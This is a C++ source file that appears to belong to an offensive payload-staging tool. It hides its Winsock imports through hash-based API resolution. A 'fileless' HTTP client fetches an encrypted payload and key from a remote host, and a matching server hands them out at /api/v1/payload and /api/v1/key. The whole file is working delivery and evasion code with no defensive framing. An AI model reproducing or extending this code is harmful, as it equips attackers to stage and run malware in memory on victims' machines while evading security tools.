#ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include #include #include #include "http_transport.hpp" #include "../resolve/api_resolver.hpp" #include "../common/hashes.hpp" #include "../common/log.hpp" #include #include #include namespace HttpTransport { namespace { struct WinsockApi { decltype(&WSAStartup) WSAStartupFn = nullptr; decltype(&WSACleanup) WSACleanupFn = nullptr; decltype(&socket) socketFn = nullptr; decltype(&connect) connectFn = nullptr; decltype(&send) sendFn = nullptr; decltype(&recv) recvFn = nullptr; decltype(&closesocket) closesocketFn = nullptr; decltype(&bind) bindFn = nullptr; decltype(&listen) listenFn = nullptr; decltype(&accept) acceptFn = nullptr; decltype(&getaddrinfo) getaddrinfoFn = nullptr; decltype(&freeaddrinfo) freeaddrinfoFn = nullptr; decltype(&setsockopt) setsockoptFn = nullptr; bool loaded = false; bool started = false; }; bool LoadWinsock(WinsockApi& ws) { if (ws.loaded) { return true; } ws.WSAStartupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSAStartup)); ws.WSACleanupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSACleanup)); ws.socketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_socket)); ws.connectFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_connect)); ws.sendFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_send)); ws.recvFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_recv)); ws.closesocketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_closesocket)); ws.bindFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_bind)); ws.listenFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_listen)); ws.acceptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_accept)); ws.getaddrinfoFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo)); ws.freeaddrinfoFn= reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo)); ws.setsockoptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_setsockopt)); ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn; return ws.loaded; } bool EnsureWinsock(WinsockApi& ws) { if (!LoadWinsock(ws)) { return false; } if (!ws.started) { WSADATA wsa{}; if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) { return false; } ws.started = true; } return true; } bool HttpGet(const Endpoint& ep, const char* path, std::vector& body) { Log::Banner("HTTP GET (fileless client)"); Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path); WinsockApi ws{}; if (!EnsureWinsock(ws)) { Log::Dbg("winsock load/WSAStartup failed"); return false; } Log::Dbg("winsock ready"); addrinfo hints{}; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; addrinfo* result = nullptr; const auto portStr = std::to_string(ep.port); if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) { Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str()); return false; } Log::Dbg("getaddrinfo OK — connecting..."); SOCKET sock = INVALID_SOCKET; for (auto* ptr = result; ptr; ptr = ptr->ai_next) { sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (sock == INVALID_SOCKET) { continue; } if (ws.connectFn(sock, ptr->ai_addr, static_cast(ptr->ai_addrlen)) == 0) { Log::Sys("connected socket=%llu family=%d", static_cast(sock), ptr->ai_family); break; } ws.closesocketFn(sock); sock = INVALID_SOCKET; } ws.freeaddrinfoFn(result); if (sock == INVALID_SOCKET) { Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port); return false; } std::ostringstream req; req << "GET " << path << " HTTP/1.1\r\n" << "Host: " << ep.host << "\r\n" << "Connection: close\r\n\r\n"; const std::string reqStr = req.str(); Log::Dbg("send request (%zu bytes)", reqStr.size()); if (ws.sendFn(sock, reqStr.c_str(), static_cast(reqStr.size()), 0) <= 0) { Log::Dbg("send failed"); ws.closesocketFn(sock); return false; } std::vector response; char buf[4096]; for (;;) { const int n = ws.recvFn(sock, buf, sizeof(buf), 0); if (n <= 0) { break; } response.insert(response.end(), buf, buf + n); } ws.closesocketFn(sock); Log::Dbg("recv total response=%zu bytes", response.size()); // Find end of HTTP headers const char* data = reinterpret_cast(response.data()); const char* hdrEnd = strstr(data, "\r\n\r\n"); if (!hdrEnd) { Log::Dbg("no HTTP header terminator"); return false; } const size_t bodyOff = (hdrEnd - data) + 4; size_t contentLen = 0; const char* cl = strstr(data, "Content-Length:"); if (cl && cl < hdrEnd) { contentLen = static_cast(std::strtoul(cl + 15, nullptr, 10)); } Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen); if (contentLen > 0 && bodyOff + contentLen <= response.size()) { body.assign(response.begin() + static_cast(bodyOff), response.begin() + static_cast(bodyOff + contentLen)); } else if (bodyOff < response.size()) { body.assign(response.begin() + static_cast(bodyOff), response.end()); } else { body.clear(); } Log::Info("HTTP body size=%zu for %s", body.size(), path); return true; } std::string BuildHttpResponse(const std::vector& body, const char* contentType) { std::ostringstream oss; oss << "HTTP/1.1 200 OK\r\n" << "Content-Type: " << contentType << "\r\n" << "Content-Length: " << body.size() << "\r\n" << "Connection: close\r\n\r\n"; std::string hdr = oss.str(); std::string out = hdr; out.append(reinterpret_cast(body.data()), body.size()); return out; } bool ReadFileBytes(const std::wstring& path, std::vector& out) { std::ifstream f(path, std::ios::binary | std::ios::ate); if (!f.is_open()) { return false; } out.resize(static_cast(f.tellg())); f.seekg(0); f.read(reinterpret_cast(out.data()), out.size()); return true; } void HandleClient(WinsockApi& ws, SOCKET client, const std::vector& payload, const std::vector& keyBlob, bool /*verbose*/) { char buf[2048] = {}; const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0); // First request line only for clean logs char reqLine[128] = {}; { size_t i = 0; while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') { reqLine[i] = buf[i]; ++i; } } Log::Srv("accept client sock=%llu recv=%d req=\"%s\"", static_cast(client), nrecv, reqLine); std::vector response; const char* route = "404"; size_t bodyBytes = 0; if (strstr(buf, "GET /api/v1/payload")) { route = "/api/v1/payload"; bodyBytes = payload.size(); auto http = BuildHttpResponse(payload, "application/octet-stream"); response.assign(http.begin(), http.end()); } else if (strstr(buf, "GET /api/v1/key")) { route = "/api/v1/key"; bodyBytes = keyBlob.size(); auto http = BuildHttpResponse(keyBlob, "application/octet-stream"); response.assign(http.begin(), http.end()); } else if (strstr(buf, "GET /api/v1/health")) { route = "/api/v1/health"; bodyBytes = 2; const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"; response.assign(ok, ok + strlen(ok)); } else { const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n"; response.assign(nf, nf + strlen(nf)); } const int nsent = ws.sendFn(client, reinterpret_cast(response.data()), static_cast(response.size()), 0); Log::Srv("reply route=%s body=%zu wire=%zu sent=%d", route, bodyBytes, response.size(), nsent); ws.closesocketFn(client); } } // namespace bool ParseSource(const std::string& source, Endpoint& out) { out = {}; out.port = 8080; const auto colon = source.find(':'); if (colon == std::string::npos) { out.host = source; return !out.host.empty(); } out.host = source.substr(0, colon); try { out.port = static_cast(std::stoi(source.substr(colon + 1))); } catch (...) { return false; } return !out.host.empty(); } bool FetchPayload(const Endpoint& ep, std::vector& body) { return HttpGet(ep, "/api/v1/payload", body); } bool FetchKey(const Endpoint& ep, std::vector& body) { return HttpGet(ep, "/api/v1/key", body); } bool RunServerMemory(std::uint16_t port, const std::vector& payload, const std::vector& keyBlob, bool verbose) { // Prefer explicit flag; also honor Log server channel if already enabled. if (verbose) { Log::SetServerVerbose(true); } Log::SrvBanner("HTTP Bind"); Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port); WinsockApi ws{}; if (!EnsureWinsock(ws)) { Log::Srv("winsock load failed"); return false; } Log::Srv("winsock APIs resolved (hash) + started"); addrinfo hints{}; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; addrinfo* result = nullptr; const auto portStr = std::to_string(port); if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) { Log::Srv("getaddrinfo failed for port %s", portStr.c_str()); return false; } SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol); if (listenSock == INVALID_SOCKET) { Log::Srv("socket() failed"); ws.freeaddrinfoFn(result); return false; } Log::Srv("listen socket=%llu", static_cast(listenSock)); int yes = 1; ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&yes), sizeof(yes)); Log::Srv("SO_REUSEADDR=1"); if (ws.bindFn(listenSock, result->ai_addr, static_cast(result->ai_addrlen)) != 0) { Log::Srv("bind failed on port %u", port); ws.closesocketFn(listenSock); ws.freeaddrinfoFn(result); return false; } ws.freeaddrinfoFn(result); Log::Srv("bind OK 0.0.0.0:%u", port); if (ws.listenFn(listenSock, SOMAXCONN) != 0) { Log::Srv("listen failed"); ws.closesocketFn(listenSock); return false; } Log::Srv("listen OK backlog=SOMAXCONN"); // Always show ready line; details only with --verbose Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)", port, payload.size(), keyBlob.size()); Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health"); Log::Srv("waiting for clients..."); for (;;) { SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr); if (client == INVALID_SOCKET) { Log::Srv("accept returned INVALID_SOCKET — retry"); continue; } HandleClient(ws, client, payload, keyBlob, verbose); } } bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) { std::vector payload; std::vector keyBlob; if (!ReadFileBytes(payloadPath, payload)) { return false; } // Key is optional for non-encrypted payloads ReadFileBytes(keyPath, keyBlob); return RunServerMemory(port, payload, keyBlob, false); } } // namespace HttpTransport